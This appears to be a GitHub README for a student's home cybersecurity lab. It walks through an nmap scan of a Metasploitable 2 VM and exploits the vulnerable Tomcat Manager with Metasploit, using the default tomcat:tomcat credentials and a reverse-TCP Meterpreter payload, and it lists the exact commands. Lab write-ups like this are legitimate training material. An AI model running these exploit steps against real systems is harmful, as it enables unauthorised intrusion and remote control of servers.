Skip to content

Latest commit

Β 

History

5 Commits

Folders and files

NameName
Last commit message
Last commit date
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ” Cyber Home Lab with Kali, Metasploitable & Windows 11 (UTM-based)

This is a personal cybersecurity home lab built on a Mac M2 using UTM. It simulates a real-world vulnerable environment for ethical hacking, network scanning, and exploitation using tools like Nmap and Metasploit.

🧰 Lab Setup

  • Host Machine: macOS (M2, 16GB RAM)
  • Virtualization: UTM
  • Virtual Machines:
    • Kali Linux (Attacker)
    • Metasploitable 2 (Target)
    • Windows 11 (Optional victim/client)
  • Network Mode: Bridged (All VMs share same local subnet)

πŸ§ͺ Objective

  1. Scan a vulnerable machine (Metasploitable)
  2. Identify services and open ports
  3. Exploit using known vulnerabilities
  4. Gain a reverse shell using Metasploit

πŸ” Step 1: Nmap Scan

Command used:

nmap -A 192.168.1.15 > metasploitable-nmap.txt

πŸ“„ View Full Scan Output


🎯 Step 2: Exploiting Apache Tomcat with Metasploit

Metasploitable runs a vulnerable Apache Tomcat Manager on port 8180 using default credentials (tomcat:tomcat). We use Metasploit to exploit it.

Metasploit Module:

exploit/multi/http/tomcat_mgr_upload

Payload:

java/meterpreter/reverse_tcp

Exploit Steps:

msfconsole
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS 192.168.1.15
set RPORT 8180
set HTTPUSERNAME tomcat
set HTTPPASSWORD tomcat
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.1.16  # Kali's IP
run

βœ… Reverse shell session opened!

πŸ–₯️ Meterpreter Shell Info

After exploitation, I obtained a Meterpreter shell on the target system.

whoami       
uname -a     
id           

🧠 Key Learnings

  1. UTM works great for local cyber labs on macOS
  2. Bridged networking is essential for real communication between VMs
  3. Nmap is powerful for initial recon and service detection
  4. Metasploit automates real-world attacks with minimal configuration
  5. Apache Tomcat’s default credentials are a serious security flaw

πŸ›‘οΈ Disclaimer

This project is created for educational purposes only. All virtual machines are hosted and tested in a local isolated environment. Never attempt to scan, exploit, or attack any system without explicit permission.


πŸ‘€ Author

Daksh Sharma
Cybersecurity Enthusiast | Ethical Hacking Learner
πŸ“ Built with ❀️ using UTM on macOS

About

A simple cyber home lab using UTM, Kali Linux, Metasploitable2, and Windows 11. Includes network scanning and Metasploit exploitation.

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors